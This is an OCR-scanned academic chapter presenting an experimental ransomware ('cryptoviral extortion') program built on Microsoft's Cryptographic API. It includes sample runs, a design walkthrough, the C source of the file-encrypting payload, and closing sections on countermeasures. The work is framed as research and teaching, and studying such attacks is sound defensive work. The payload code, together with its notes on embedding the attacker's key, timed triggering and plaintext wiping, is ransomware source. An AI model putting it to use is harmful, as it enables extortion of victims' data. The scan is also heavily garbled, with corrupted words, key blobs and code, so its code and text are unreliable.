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Abstract

This chapter preserts an experimental implementation of cryptovi-
ral extortion, an attack that we devised and preseried at the 1996
IEEE Symposium on Security & Privacy [16] and that was recertly
covered in Malicious Cryptography [17]. The designis basedon Mi-
crosoft's Cryptographic API and the saliert aspects of the implemen-
tation were preseried at ISC '05 [14] and were later re ned in the
International Journal of Information Security [15]. Cryptoviral extor-
tion is a 2-party protocol between an attacker and a victim that is
carried out by a cryptovirus, cryptoworm, or cryptotro jan. In a cryp-
toviral extortion attack the malware hybrid encrypts the plaintext of
the victim using the public key of the attacker. The attacker extorts
someform of payment from the victim in return for the plaintext that
is held hostage. In addition to providing hands-on experience with
this cryptographic protocol, this chapter givesreadersa chanceto: (1)
learn the basicsof hybrid encryption that is commonly usedin every-
thing from securee-mail applications to securesocket connections,and
(2) gain a basicunderstanding of how to useMicrosoft's Cryptographic
API that is presert in modern MS Windows operating systems. The
chapter only provides an experimental version of the payload, no self-
replicating code is given. We conclude with proactive measuresthat
can be taken by computer usersand computer manufacturers alike to
minimize the threat posedby this type of cryptovirology attack.

If this le was obtained from a publicly accessiblewebsite other than the website
www.crypto virology.com then (1) the entity or entities that made it available are in vio-
lation of our copyright and (2) the contents of this le should therefore not be trusted.
Pleaseobtain the latest version directly from the o cial Cryptovirology Labs website at:
http://www.crypto virology.com.
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Introduction 2

1 Intro duction

The rst cryptovirus took a while to implement. It involved the laborious
processof porting portions of the GNU multiprecision library version1.3.2to
the Macintosh using Symanec's Think C compiler version4.0. The compiler
complained time and time again during the porting process. To achieve a
small virus certain portions of it were implemented directly in Motorola
assenbly language. Howewer, we were determined to demonstrate that our
cryptoviral extortion attack was a real-world possibility.

In 1995 we tested our cryptovirus on a Macintosh SE/30 running OS
version7.1and it met all of our expectations. We were extremely careful to
ensurethat the virus had no chanceof escapingthe test madcine. Logic was
placedin it to prevert it from spreadingon other machines. We reported
this early experimertation in [16] and alsodescribed more elaborate versions
of the attack, the goal of devising survivable malware, and other ideas. The
paper wasthe starting point for cryptovirology, an areaof researt that has
grown considerably in scope since then. For a comprehensie overview of
cryptovirology, see[17].

The Microsoft Cryptographic APl was distributed in August of 1996
with Microsoft's Windows 95 OEM ServiceRelease2. The Microsoft Cryp-
tographic API alsoappearedin Windows NT 4.0, Windows 2000, Windows
XP, and therefore in computers the world over. The introduction of MS
CAPI in Microsoft operating systemsafter the publication of [16] made it
an interesting problem to revisit the \dicult y" of carrying out cryptovi-
ral extortion using malware. Recerily, an experiment was conducted that
usesMS CAPI for carrying out cryptoviral extortion and this experiment
is detailed in [14, 15]. This chapter adds to this previous work by (1) cov-
ering the experimertal code in more detail, (2) giving a tutorial on how to
usethe experimental program, and (3) by providing example output. The
chapter and assaiated appendix (containing the corresponding sourcecode)
therefore constitute fundamental resarch in modern cryptovirology.

The cryptographic tools that we use are quite strong, since we employ
optimal asymmetric encryption padding [2] that is included in MS CAPI.
The security of optimal asymmetric encryption padding (OAEP) is basedon
the random oracle model [1]. OAEP hasbeeninvestigated by researtiersin
recert yearsand hidden intricacies regarding the intractabilit y assumptions
that it relieson have beenrevealed|[3, 13].

We begin by shaving how to useour experimental program that demon-
strates a cryptoviral extortion attack. This exposition includes example
output of this command-line program. The code for the experimernt is then
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described, from key generationall the way through to symmetric decryption
of the victim's hybrid encrypted le. This is a high-level explanation that is
intended to presen the basic structure of the implementation. The source
code that performsthe hybrid encryption is givenin Section 6.

We give countermeasuresin Sections 7 and 8 that help mitigate the
threat of cryptoviral extortion. This includes actions that both computer
usersand computer manufacturers can take.

Both the theoretical and practical design of our experimental program
has undergonepeer-reviewin seweral academicforums. Howewer, the bulk
of the ANSI C code for the experiment that is basedon MS CAPI has yet
to be scrutinized by the infoseccommunity. We encouragepeopleto send
us feedbak and bug reports. We can be contacted at the following e-mail
address: feedback @cryptovirolog y:com Of particular interest is ways in
which we can improve this chapter for classram use.

2 Creating the Program

The experimental program is called fencrypt :exe and it is created by com-
piling the source le fencrypt :c. This le is written in the C programming
language. We used the Minimalist GNU for Windows (MinGW) dewelop-
mernt suite to compile these. We created a simple make le and executed
it using mingw32make This causedgcc to compile the source les and
produce the Windows command-line program fencrypt :exe.

3 Running the Program

Depending upon the commandthat the user enters, the program generates
a key pair, asymmetrically encrypts the sessiorkey and hybrid encrypts the

victim's le, decrypts the sessionkey, or decrypts the victim's le. This

is accomplishedby writing cryptographic valuesto les, reading them in,

readingplaintext les in, writing ciphertext out, and soon. No private values
are stored internally, sothe program can be usedby both the extortionist

and the victim to carry out the 3-round cryptoviral extortion protocol.

The following is the main screenwhere the user erters the command.

"fencrypt.c"  Copyright (c) 2005-2006 by

Moti Yung and AdamL. Young. All rights reserved.
This program is based on:

A. Young, M. Yung, "Cryptovirology : Extortion-Based
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Security Threats and Countermeasures, " IEEE
Symposiumon Security & Privacy, pp. 129-140, 1996.

Cryptoviral  payload functions:
Type (@) to generate a 1024-bit RSAkey pair.

This creates "pubkeyblob.txt*  and "privkeyblob.txt"
Type (b) to encrypt the host plaintext file.

This deletes "plaintext.txt".

This creates "ciphertext.bin" and "sessionkeyblob.t  xt".
Type (c) to decrypt the symmetric key blob.

This creates "cleartextsessio nkeyblo b.t xt".
Type (d) to recover the host plaintext file.

This recreates “plaintext.txt".
Type (e) to execute a support function.

Enter commanda-e)

The key pair that is usedfor the attack is generatedby entering com-
mand (a). This causeshe program to utilize the Microsoft EnhancedCryp-
tographic Service Provider (CSP) to generate an RSA key pair having a
1024-bit public modulus.

The useris required to selecta passvord that is usedto createthis blob.
In the example below, the user entered \1 dagitez". The string that the
user enters is translated into a 3DES symmetric key [8, 6, 7]. This key is
usedto encrypt the RSA private key values and the resulting ciphertext
is stored in the text le privkeyblob :txt . The public key is stored in a
cleartext blob that is written to the le pubkeyblob:txt .

Enter commanda-e) : a

The default password is "password12345678".
Type Enter to use the default password.
DONTUSETHEDEFAULTF- IT ISN'T SECURE.
Password MUSTbhe at least 10 characters.

Enter a password to protect your data: 1fidagitez

The password is "1fidagitez".

Created a new container called:
1c2r3y4p5t607v8i9 r0oll 203g4y5

Attempting to create an exchange key pair.

An exchange key pair was created.
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Obtained public key blob length.

The public key was exported.

pdwDataLen= 148.

pubKeyBlobStr =
0602000000A4000525341310004000001000100790C399B2B 264 7576306FDT
1A59AE889D885ENELOEEB09CBEIDBBICQRE4AH7358B8C 5446385442989
3FF40D1C232AABGFAACT BFD7RB5FEB28)5D 74 C6BZBFAMDBO5D5B BB
6756F7C8F7CDEBA24BL18ATCBADADIA94186BPCB3H-3E5-DBBAICLHFL
31890C4EFF581 AR T778D71172C2AZ-7DF B ES

strlen(pubKeyBIl obSr ) = 296

Private key export succeeded.

pbPrivKeyBlobLe n = 600.

privKeyBlobStr =
0702000000A4000E2DAODCCREACBASSFATE14948E41DD0BSSD@FBBROF3L
418E63ED4F43FBFQ26ABA711A8425602BE® 762 OESEAFEBG3L768A
791332043E5E825CB41519509A8®9F6526467 DB 7ESFDHBLBAG61DAR P 3B
A577C8E5FC3DBAB52D236773460BBHB255FB3923612FB M 1123FADB6G15E2
65CB463570A39RECARCEB3BDR54EA6ADB4A75324E5CIAGECHE 73Q00D
AD6960FF1DEB922 97 bF68150F34BCICBDE2D0001DA71IAS3F-A53DI0ADA
45FD2709597557TA2A634D1B02DFEFRSBR2CRFC55AGIBADFOF(R2B517A214
B140CD04418F4BECIAS88FA9EMRSFOD4MBD133C5815178FBREBBBID 17
0B7211144E1BCEBDIFSAL25D7A1MCEA7F0027026 R4E53830CAMB6 0894
084AC532474E705FB968FEMB84949(5431CGBE0ACH49DGB3913A0DB48ES
56D069275646CA46110FBBB200847072BFLQ2DE 4438 D 7H4EDDSFE
AA1D759D16A4838D9F6B44ABBIBCAIZDAMNISDBBAD7720C1937BEDD
241D542F94C7AQEEBEA13EBBPDA86D R 3206FE EGBGEBDMF32EB4314
TE728714206651EFE®29817702FAB7DEBCB4DO6F5B55F8E3751BE10FS
76C2038C6C3548BEL3CEBB2BCHAEH-01F4B6RR(BBE60A8391RREAED24
387BBE1A1D8D5BE470B1387506F29F4B7542E6ER8D93H80729B157F 710849
E7141DB93D5B22BE33490B3ARC140C4H467FB3F72CBE298E18GB4DBO 15
0894F7D90C891GB U 9993AAGCIL UBG1HE7748F 25 AA68BAD B EI69F2A -
59C83D8DA9IBAEABTUOB4391FAELIH-3D 07 7A23EBED7675

strlen(privKkeyB lob Str) = 1200

Successfully deleted container:
1c2r3y4p5t607v8i9 r0oll 203g4y5

Command (b) is usedto emulate the attack against the host system. In
practice command (b) would be the payload of the malware and it would be
triggered by someevert suc as a speci ¢ day of the year.

The command causesthe program to generatea random 168-bit 3DES
key. This key is then encrypted using the RSA public key that is con-
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tained in pubkeyblob :txt to produce an asymmetric ciphertext. The pro-
gram encrypts plaintext :txt usingthe 3DES key and writes the result to
ciphertext :bin. It is at this point that the plaintext le should be securely
wiped. Howewer, the experimental program doesnot do this. Finally, the
asymmetric ciphertext is written to sessionkeyblob :txt .

Enter commanda-e) : b
Readin public key from "pubkeyblob.txt
Wrote symmetric ciphertext of file to "ciphertext.bin"
Wrote asymmetric ciphertext of session key
to "sessionkeyblob. txt "

In theory, upon completion of command (b) the malware would notify
the userthat plaintext :txt hasbeenhybrid encrypted. The malware could
post a messagdo the screeninstructing the victim on how to negotiate the
releaseof the plaintext. The attacker could require them to communicate us-
ing digital pseudoryms and insist that all message$e signedand encrypted
and sert over a mix network. The victim will needto give the attacker the
le sessionkeyblob :txt sothat it can be decrypted using the attacker's
public key.

When the ransomis paid (in whatever form it may take), the attacker
deciphersthe sessionkey blob by executing command (c). This command
readsin the attacker's private key from privkeyblob :txt and requeststhat
the attacker enter the neededpassword to decrypt the private key. Oncethe
private key is decrypted it is usedto decipherthe sessiorkey blob cortained
in sessionkeyblob :txt .

In generalit is possibleto simply sendthe symmetric key to the victim
in the clear since it would be of little or no use to other people. How-
ewver, for reasonsof compatibility with Windows 2000 and later operat-
ing systemsour implemenation symmetrically encrypts the 3DES session
key that the victim needsand saves the resulting ciphertext in the le
cleartextsessionkeyblob  :txt . This blob is created using a xed sym-
metric key that can be publicly known.

Enter commanda-e) : c

Enter the -same- password used to encrypt your private key.
The default password is "password12345678".

Type Enter to use the default password.
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DONTUSETHEDEFAULTF- IT ISN'T SECURE.
Password MUSThe at least 10 characters.
Enter a password to protect your data: 1fidagitez

Preparing to decrypt the session key blob.
Created a new container called:
1c2r3y4p5t607v8i9 rOoll 203g4y5
The user's password has been constructed.
pbPrivKeyBlobLe n = 600.
dwSessionKeyBlobLen = 140.
Succeeded in importing key pair from blob.
Decrypting session key blob by importing it.
Session key imported using CryptimportKey.
Obtained constant key blob length.
Session key exported basically in the clear
clearTextSessio nKeyBlo bStr =
0B0200000366000036600009EM3BEBPOAIIDB26313515B0E82B514823B999
F47C26ABC4000AFSAM I DBAC1I-B465610C
Successfully deleted container:
1c2r3y4p5t607v8i9 r0oll 203g4y5

The attacker sendsthe symmetric key to the victim by sendingthe vic-
tim the le cleartextsessionkeyblob :txt. If the functionality neededto
decipherthe plaintext le is not already included in the malware then this
program that includes command (d) is also sert to the victim.

The victim executescommand (d). Command (d) reads in the le
cleartextsessionkeyblob  :txt and decrypts the sessiorkey blob using the
xed symmetric key. This reveals the needed3DES decryption key. The
le ciphertext :bin isread in, decrypted using the 3DES key, and the le
plaintext :txt is recreatedin its original form.

Enter commanda-e) : d

Converting the cleartext blob into a symmetric key

data structure.

Created a new key container called:
1c2r3y4p5t607v8i9 rOoll 203g4y5

Session key imported using CryptimportKey.

Nowdecrypting the file...

IV = EE9C93E25F09227A

successfully set the IV.
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Decryption loop complete.
Successfully deleted container:
1c2r3y4p5t607v8i9 r0oll 203g4y5

4 Top-Down Design

The implementation will be described using a top-down approac. Certain
minor details of the experimental program will be omitted in order to clearly
explain the essetials of the implementation. The design does not include
the medhanismthat enablesthe attacker to communicate anonymously with
the victim. This facet is out of scope for this discussion,but it clearly an
important issuethat the attacker would needto address. Now or in the
near future it may possibleto utilize a mix network to allow the victim to
communicate with the attacker.! Our discussionalso does not encompass
the nature of the ransom, which could be money, data, services,etc.

Commands (a) and (c) are implemented using the C function Key-
PairOwner. This function takes a single integer as an argumert. The
argumert is used to choose between two dierent subroutines. The call
KeyPairOwner(0) performs key pair generation and KeyPairOwner(2) de-
crypts the asymmetrically encrypted sessionkey of the victim.

Commands(b) and (d) that are carried out on the victim's macdine are
implemerted in the function PlaintextOwner. Like KeyPairOwner, Plain-
textOwner cortains two di erent subroutines. PlaintextOwner(1) mounts
the extortion attack. It causesa plaintext le of the victim (the victim is
the plaintext owner) to be hybrid encrypted using the attacker's public key
that was produced using KeyPairOwner(0). PlaintextOwner(3) symmetri-
cally decrypts the hybrid encrypted le. This of courserequires that the
attacker hasrun KeyPairOwner(2) via command (c) and sert the resulting
sessionkey to the victim.

Therefore, the cryptoviral extortion protocol correspondsto the following
ordered execution:

KeyPairOwner(0);
PlaintextOwner(1);
KeyPairOwner(2);
PlaintextOwner(3);

!Mix networks form a fundamental building block in many other cryptographic proto-
cols such as advanced e-voting proto cols [5].
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The function PlaintextOwner(1) must beincluded in the malware sinceit
is the mission critical payload that encrypts the victim's plaintext. Placing
PlaintextOwner(3) in the malware is ertirely optional since the program
fencrypt can be sert to the victim by the attacker at the sametime that
the sessionkey is sert to the victim. For simplicity we assumethat only
PlaintextOwner(1) is included in the malware.

To follow the top-down description it is necessaryto have a basicunder-
standing of the Microsoft Cryptographic API. In particular it is important
to understand the functionality of a cryptographic service provider and a
key cortainer.

4.1 Data Encryption Phase

KeyPairOwner(0);

The function ObtainUserPassword is called to query the user for the
password that is neededto encrypt the private key blob that will be gener-
ated. The usermust erter a long enoughpassword and hit erter.

The rst 3 CAPI calls that appear in KeyPairOwner(0) are CryptAc-
quireContext. These are in if statemerts and they are geared towards
obtaining a handle to a container having the name speci ed by the global
string constart gContainerNamesStr. If this RSA key container already ex-
ists then it is deleted? Under normal conditions this code results in acquir-
ing a handle to the MS Enhanced CSP. This handle is then usedin a call to
CryptGenKey in which an RSA [11] key pair is generatedin the corntainer
having the name speci ed by gContainerNameStr.

A call is made to CryptExportKey to determine the size of the public
key blob. Another call is madeto CryptExportKey to export the public key
in plaintext form into a blob. The blob is expressedin hexadecimalusing
an ASCII string. The string is then formatted further to form an ANSI C
string constart that is easily readablein a text editor (the blobs are quite
long). In practice this public key blob would be encaded within the malware
using a string constart.

The password that was erntered by the user (i.e., the attacker) in the
call to ObtainUserPassword is corverted into a user-de ned symmetric key.
This is accomplishedusing the function ComputeUserPasswordhat is de-
scribed in subsection4.3. The symmetric key is usedto encrypt the private

2For example, during debugging Windows may be left in a state in which the container
exists with a key pair in it.
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key that is generated. A call is madeto CryptExportKey to determine the
size of the private key blob. Another call is made to CryptExportKey to
export the private key (in ciphertext form) into a blob. CryptDestroyKey is
calledtwice to deletekey material. A call is madeto CryptAcquireContext
using CRYPDELETEKEYSET delete the key cortainer.

The public key blob is written to the text le pubkeyblob:txt . This is
the way all of the blobs are written to text les. The private key blob is
written to the text le privkeyblob :txt .

PlaintextOwner(1);

This function servesasthe payload of the malware that carriesout cryp-
toviral extortion. CryptAcquireContext is calledto obtain a handle to the
MS EnhancedCSP. The corntainer namefor this call is speci ed by the string
gContainerNameStr. In practice the cortainer name can be chosenwith a
very large random number in it's namesothat with overwhelming probabil-
ity it will not coincide with an already existing nhamed key corntainer. The
key container is usedonly temporarily within the host macdine to enable
the useof MS CAPI.

The public key blob, which is obtained by reading in pubkeyblob :txt , is
passedto CryptimportKey to obtain a handle to the public encryption key
of the attacker. In practice the public key blob will not be read in from a
le. Rather, it will be a data constart that is contained within the malware.

The algorithm identi er for 168-bit 3DES is passedto CryptGenKey As
aresult, CryptGenKeyreturns a handle to a randomly generated3DES key.
The default encryption mode for this key is cipher block chaining and the
default initialization vector is the string of binary zeros. This 3DES key is
usedasthe sessionkey in the hybrid encryption of the victim's data.

A call is made to CryptExportKey to determine the size of the session
key blob. A secondcall to CryptExportKey is then made. This encrypts
the sessionkey with the public key and returns a handle to the resulting
blob. This is a Bellare-Rogavay encryption [2, 12] sincethe ag CRYPIDAEP
is used.

Eight random bytes are generated by calling CryptGenRandom These
bytes will sere asthe random initialization vector. To con gure the use of
this IV, a pointer to these 8 bytes is passedto CryptSetKeyParam

The IV is written out to the ciphertext le namedciphertext :bin. The
function CryptEncrypt is invoked repeatedly in a do-while loop to encrypt
the victim's plaintext le usingthe 3DES sessiorkey in cipher block chaining
mode. The ciphertext is written to ciphertext :bin within the loop.
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PlaintextOwner(1) deletesthe plaintext le that was encrypted. The
experimental code doesnot do a le wipe (e.g., overwriting the plaintext le
with randomly selectedbits multiple times). A le wipe must be performed
in a cryptoviral extortion attack, otherwise the plaintext might be recover-
able from the medium in which it is stored (e.g., hard disk). Standards exist
for performing securemediacleansing[10]. Securelywiping the plaintext le
can be a non-trivial endeasor, particularly when a proprietary le systemis
in use.

Calls are made to the function CryptDestroyKey to destroy the session
key and the public key. PlaintextOwner(1) setsthe CRYPDELETEKEYSET
ag in a call to the function CryptAcquireContext to delete the key con-
tainer. The sessionkey blob is then written in ASCII to the text le
sessionkeyblob :txt .

4.2 Data Decryption Phase

KeyPairOwner(2);

The function ObtainUserPassword is called to query the user for the
password that is neededto decrypt the private key blob. The user must
enter the correct password and hit erter.

The rst CAPI call that is made in KeyPairOwner(2) is the function
CryptAcquireContext . The container name for this call is speci ed by the
string gContainerNameStr. This obtains a handle to the MS Enhanced
CSP.

The function ComputeUserPasswords called to transform the password
that the user entered into the symmetric key that is neededto decipher
the private key blob. ComputeUserPasswordeturns a handle to the needed
symmetric decryption key. The symmetric key is usedto decrypt the private
key blob and thereby give accesdo the RSA key pair. This is accomplished
using a call to CryptimportKey .

The handle to the RSA key pair is passedin another call to the MS
CAPI function CryptimportKey in order to decrypt the sessionkey blob.
The sessionkey is then available to decrypt the victim's le.

The function ComputeUserPasswords then invoked using the password
\ ConstantPassword" asinput. This resultsin a handleto a constart 3DES
key that is computed basedon the string \ ConstantPassword”. This key is
e ectively public since\ ConstantPassword" is xed (it appearsin both the
cryptoviral payload and in the attacker's client program).
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A call is madeto CryptExportKey to determine the sizeof the blob that
will contain the sessionkey. A secondcall to CryptExportKey is made by
passingin the handle to the sessionkey, the handle to the constart 3DES
key, and the blob type SYMMETRICWRAPKEYBbh@Broducesa blob for the
sessiorkey. The purposeof usingthe constart 3DESkey is to producea blob
that is compatible with Windows 2000 and later sincethe MS CAPI blob
type PLAINTEXTKEYBL{SBot supported in Windows 2000/NT/Me/98/95.

The resulting blob is e ectiv ely the plaintext of the random 3DES session
key that wasusedto encrypt the victim's le (again, it is e ectiv ely plaintext
since \ ConstantPassword" is a public string). CryptDestroyKey is called
multiple times to destroy the key material. The Microsoft CAPI function
CryptAcquireContext is invoked with CRYPDELETEKEYSHKY delete the
key container. The blob for the sessionkey is written in ASCII to the text
le cleartextsessionkeyblob  :txt .

PlaintextOwner(3);

The rst CAPI call that is madeis CryptAcquireContext to obtain a
handleto the MS EnhancedCSP. The container namefor this call is speci ed
by the string gContainerNameStr.

PlaintextOwner(3) passesthe xed password \ ConstantPassword" to
the function ComputeUserPasswordhat returns a handle to the xed sym-
metric key. The sessionkey blob and the handle to the xed symmetric
key are then passedto CryptimportKey . The function CryptimportKey
decrypts the sessionkey blob using the xed symmetric key and returns a
handle to the 3DES key that was usedto encrypt the victim's le.

The initialization vector is read in from the ciphertext le. A pointer to
the 8 byte vector is passedto CryptSetKeyParam This con gures the IV to
be usedin cipher block chaining decryption.

The handle to the 3DES key is passedto CryptDecrypt that is called
within a do-while decryption loop that decrypts the ciphertext of the vic-
tim's data. The plaintext is written to the le plaintext :txt within this
loop, thereby repairing the data le of the victim.

CryptDestroyKey is called multiple times to destroy the key material.
A call is madeto CryptAcquireContext with the CRYPDELETEKEY SE{
setto delete the key cortainer.

4.3 The ComputeUserPasswordrunction

The function ComputeUserPasswordtakes as input a handle to the MS
EnhancedCSP along with the password that the usertypesin. The function
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returns a handle to a symmetric key.

It invokes CryptCreateHash to obtain a handle to a SHA-1 [9] hash
object. The handle to the hash object is passedto CryptHashData along
with the password of the user. The user's password is hashedby this API
call thereby changing the data that the hash object handle points to. The
hash object is passedto CryptDeriveKey to obtain the handle to a 3DES
symmetric key that is derived from the password that the user entered.
ComputeUserPasswordreturns the handle to this 3DES key. Before ter-
minating, ComputeUserPasswordpassesthe handle of the hash object to
CryptDestroyHash .

5 MS CAPI Calls

The cryptoviral payload utilizes the Microsoft Cryptographic API calls that
are covered in this section. This accourts for the code that is executedon
the host madhine for encryption and decryption aswell asthe code that the
attacker executes.

The experimental attack indicates that a working knowledge of public
key cryptography, Microsoft CAPI, and these calls is all that is neededto
implement and deploy a cryptovirus, cryptoworm, or cryptotro jan basedon
MS CAPI. As mertioned previously, a meanswould also needto be devised
to enableanonymous communication betweenthe attacker and the victim.

BOOLWINAPI CryptAcquireConte xt (HORYPTHRY *phProv,
LPCTSTRszContainer,LPC TSIR pszProvider,
DWORBwProvType,DWOR@~VFlags);

BOOLWINAPI CryptGenRandom(HRY TR hProv,DWORM@wLen,
BYTE* pbBuffer);

BOOLWINAPI CryptGenKey(HCRYAROWProv,ALG1D Algid,
DWORBwFlags,HCRYPTRKE*phKey);

BOOLWINAPICryptSetKeyParam(HGRYHKEY hKey, DWORBwParam,
BYTE* pbData, DWORBwFlags);

BOOLWINAPI CryptimportKey(HC RYTHRQ hProv,BYTE *pbData,
DWORBwDataLen,HCRYKIEEY hPubKey,DWORiWFlags,
HCRYPTKEYhKey);
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BOOLWINAPI CryptExportKey(HC RYTKEY hKey,HCRYPTKHRYExpKey,
DWORBwBIobType, DWOR®wFlags,BYTE *pbData,
DWORfbdwDatalen);

BOOLWINAPI CryptEncrypt(HCRYPTKEYhKey,HCRYPTHASash,
BOOLFinal, DWORDdwFlags,BYTE *pbData,DWORDBpdwDatalen,
DWORBwBuUfLen);

BOOLWINAPICryptDecrypt(HCRYPTKEY hKey,HCRYPTHASash,
BOOLFinal, DWORDdwFIlags,BYTE *pbData,
DWORfpdwDatal en);

BOOLWINAPICryptDestroyKey(H CR'PKEY hKey);

BOOLWINAPICryptCreateHash(H CRrFPPPROVhProv,ALGID Algid,
HCRYPTKEWKey,DWORDBwFlags,HCRYPTASH*phHash);

BOOLWINAPI CryptHashData(HCR/PTHAHhHash,BY TE*pbData,
DWORBwDatalen,DWOR@wFlags);

BOOLWINAPI CryptDeriveKey(HC RYPTRQ hProv,ALGID Algid,
HCRYPTHASIBaseData,DWORBwFlags,HCRYPTKE*phKey);

BOOLWINAPI CryptDestroyHash( HRYHAHASHhHash);

6 Crypto viral Payload

In cortinuation of our top-down description of the extortion payload we now
give the code that is the payload itself. The name of the key cortainer is
parametrized to enable the caller to chooseit at run-time. This name is
passedin using the string pointer containerStr . The name of the plain-
text le is speci ed usingthe string pointer srcFileName. The name of the
resulting ciphertext le is speci ed using dstFileName. The public encryp-
tion key is passedto this function in the form of a MS CAPI public key
blob. This blob must be formatted in a C string and pubKeyBlobStr must
be setto point to it.
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int EncryptTheFile( const char *containerStr,
const char *srcFileName,co nst char
*dstFileName,cons t char *pubKeyBlobStr)
{
int retval thestrle n,r eturnvalu e = 0;
char *sessionKeyBlobSt r = NULL;
FILE *hSource = NULL,*hDest = NULL;
BYTE*pbData,*pSession KeyBlob = NULL,*pbBuff = NULL,pbRandDataB];
DWORpdwDatalLen,dwCntd wBlockLen, dwBuffL en, dwSessKeyBlobLen;
HCRYPTPRO@CryptProv;
HCRYPTKEYublicKey,hSessK ey;

if (!CryptAcquireCo nte xt (&hCryptPr ov,co ntain er Str,
MS_ENHANCED_RPRROVRSA FUL,CRYPT_NEWEYSH))
return -1,
pdwDatalen = strlen(pubKeyBlo bsr) >> 1;
for (;)

{
if ((pbData = (BYTE*) malloc(pdwDatal en)) == NULL)
{returnvalue = -2; break;}
HexStrToBlob((ch ar *) pubKeyBlobStr,pd wD&a Len,p blata);
if (!Cryptimportkey (hCrypt Prov, pbData,
pdwDatalen,0,0, &hRibli cKey))
{returnvalue = -3; break;}
if (!CryptGenKey(hC ry ptProv, CAIG 3DES,
SYM_KEY_SIZE CRYPT_EXPORTABRU:ssKey) )
{returnvalue = -4; break;}
if (!CryptExportkey (hSessKey,hPublic Key,
SIMPLEBLOB,0,NlL, &dvSssKeyBl obLen))
{returnvalue = -5; break;}
pSessionKeyBlob = (BYTE*) malloc(dwSessKeyBlobLen);
if (pSessionKeyBlob == NULL)
{returnvalue = -6; break;}
if (!CryptExportkey (hSessKey,hPublic Key,SIMPLEBIOB
CRYPT_OAEP,pSis nKeyBlob, &dvisesskeyBl obLen))
{returnvalue = -7; break;}
thestrlen = (dwSessKeyBlobLen << 1) + 1;
sessionKeyBlobSt r = (char *) malloc(thestrlen );
if (sessionKeyBlobS tr == NULL)
{returnvalue = -8; break;}
BlobToHexStr(pSe ssi onKeyBl ab,
dwSessKeyBlobL@,s essi onkeyBlobSr) ;
if (!CryptGenRandonth Crypt Prov, 8, ppbRandDda ))
{returnvalue = -9; break;}
if (!CryptSetKeyPar anthSessKey, KP_IV,p bRandDda, 0))
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{returnvalue = -10; break;}
dwBlockLen = 1000 - 1000 % ENCRYPT_BLOCKZEI
I* since ENCRYPT_BLOCKES#Z1 ... *
dwBuffLen = dwBlockLen + ENCRYPT_BLOCKZESI
if ((pbBuff = (BYTE*) malloc(dwBuffLe n)) == NULL)

{returnvalue = -11; break;}

if ((hSource = fopen(srcFileNam e,"rb ")) == NULL)
{returnvalue = -12; break;}

if ((hDest = fopen(dstFileNa me,"wb")) == NULL)
{returnvalue = -13; break;}

fwrite(pbRandDat a,1,8 ,hDest) ;

do {

dwCnt = fread(pbBuff,1, dwBlockLenh Souce);
if (ferror(hSource ))
{returnvalue = -14; break;}
if (!CryptEncrypt( hSessKey,0,f eof(hSouce),
0,pbBuff,&dwCnt,d wRiff Len))
{returnvalue = -15; break;}
fwrite(pbBuff,1,  dwCnt,h Dest) ;
if (ferror(hDest))
{returnvalue = -16; break;}
} while(feof(hSou rce)) ;
break;
}
if (pbData) free(pbData);
if (pSessionKeyBlob) free(pSessionKe yBIob);
if (pbBuff) free(pbBuff);
if (hSource) fclose(hSource);
if (hDest) fclose(hDest);
if (returnvalue) WipePlaintextFil e(src FileNang);
if (!CryptDestroyKe y(hSessKey)) returnvalue = -17;
if (!CryptDestroyKe y(hPuwli cKey)) returnvalue = -18;
if (!CryptAcquireCo nte xt (&hCryptPr ov,co ntain er Str,
MS_ENHANCED_PRROVRSA FUL,CRYPT_CELETEKE EET))
returnvalue = -19;
retval = WriteBlobStrToF ile (sessio nkeyBlo bStr, SYMKE _CTX _FILE);
if (returnvalue == 0) returnvalue = retval;
if (sessionKeyBlobS tr) free(sessionKeyB lo bStr) ;
return returnvalue;

}

The function WipePlaintextFile in this implementation doesnot ac-
tually do a le wipe. Soin practice more code will certainly be needed.
Howewer, from a cryptographic perspective this experimental implementa-
tion captures exactly the cryptographic programming complexity.
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There is no big integer manipulation, no random number generation,
and no Feistel transformations in the code for the payload. These are all
abstracted away for the benet of the attacker. This demonstratesthe im-
mensepower that Microsoft CAPI givesto attackers.

It is important that designersof operating systemsbe cognizarn of the
fact that by making cryptographic servicesreadily available to programs
they arein e ect serving the needsof security programs and malware alike.
We hope that this investigation will provide enoughreal-world details of MS
CAPI to enablethe readerto assesshe complexity of deploying a cryptoviral
extortion attack when a cryptographic API is readily available to malware.

7 User Countermeasures

A solid defenseagainst a cryptoviral extortion attack is to have badkups of
the plaintext that could potertially be attacked. Regular badkups that are
periodically veried should be considered. Other countermeasuresinclude
having a strong defenseagainst malicious software. This includes but is
not limited to: a rewall, a residert antiviral program, and an intrusion
detection service. Antivirus updates should be obtained regularly and full
malware scansshould be conducted routinely. Executable software should
only be obtained from reliable sources®

It shouldbenoted that by storing user les in encrypted form, protection
against cryptoviral extortion is not necessarilyachieved. The encryption of
an encryption will sere the user no good when the outer layer cannot be
deciphered.

8 Possible Operating System Countermeasures

The following is a method in which an OS kernel can potentially mitigate
the threat of cryptoviral extortion. This approach was givenin [14, 15].

Consider an operating systemwith a cryptographic APIl. The userrou-
tinely hybrid encrypts and decrypts les, e-mail, etc. A smart card may
be usedfor this purpose. A medanism that can be incorporated into the
operating system s the following. Before asymmetrically encrypting data,
either:

3This also includes les that might not appear to be executable but that in fact can
be e ectiv ely executed, such as MS Word documernts.
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1. The usermust prove to the kernelin zero-knavledgethe possessiorof
the neededprivate decryption key. For e ciency reasonsthis can be
required when the userlogsin, or

2. The public encryption key must be taken from a trusted certi cate,
i.e., a certi cate that the kernel veri es all the way to the root (using
the online certi cate status protocol (OCSP), certi cate revocation
lists (CRL), etc.).

This way, the kernel will only encrypt data when it is certain that an
authorized user will be able to decrypt it. This approac alsobene ts from
the fact that an attacker of sound mind will not personally visit a certi ca-
tion authority to obtain a digital certi cate that is usedfor the attack. In
the approad the kernel therefore does not trust that public encryption keys
will be usedlawfully.

In case(l), the kernel senesasthe veri er in a zero-knowvledge proof of
knowledge[4]. In case(2), the kernelis the veri er of the digital signature(s)
on X.509 v3 certi cates, CRLs, etc. So, the medanism forcesthe kernel to
serne as a cryptographic veri er.

This countermeasure assumesthat the kernel is not penetrated by the
malware in question. Also there are obvious limitations to thesecourntermea-
sures. An attacker can always incorporate all of the neededcryptographic
functionality within the malware. So, in many ways this approadh merely
forcesattackersto do so. The approach may have appealto operating system
manufacturers that wish to avoid aiding attackers by providing uncortrolled
accesdo a cryptographic API.
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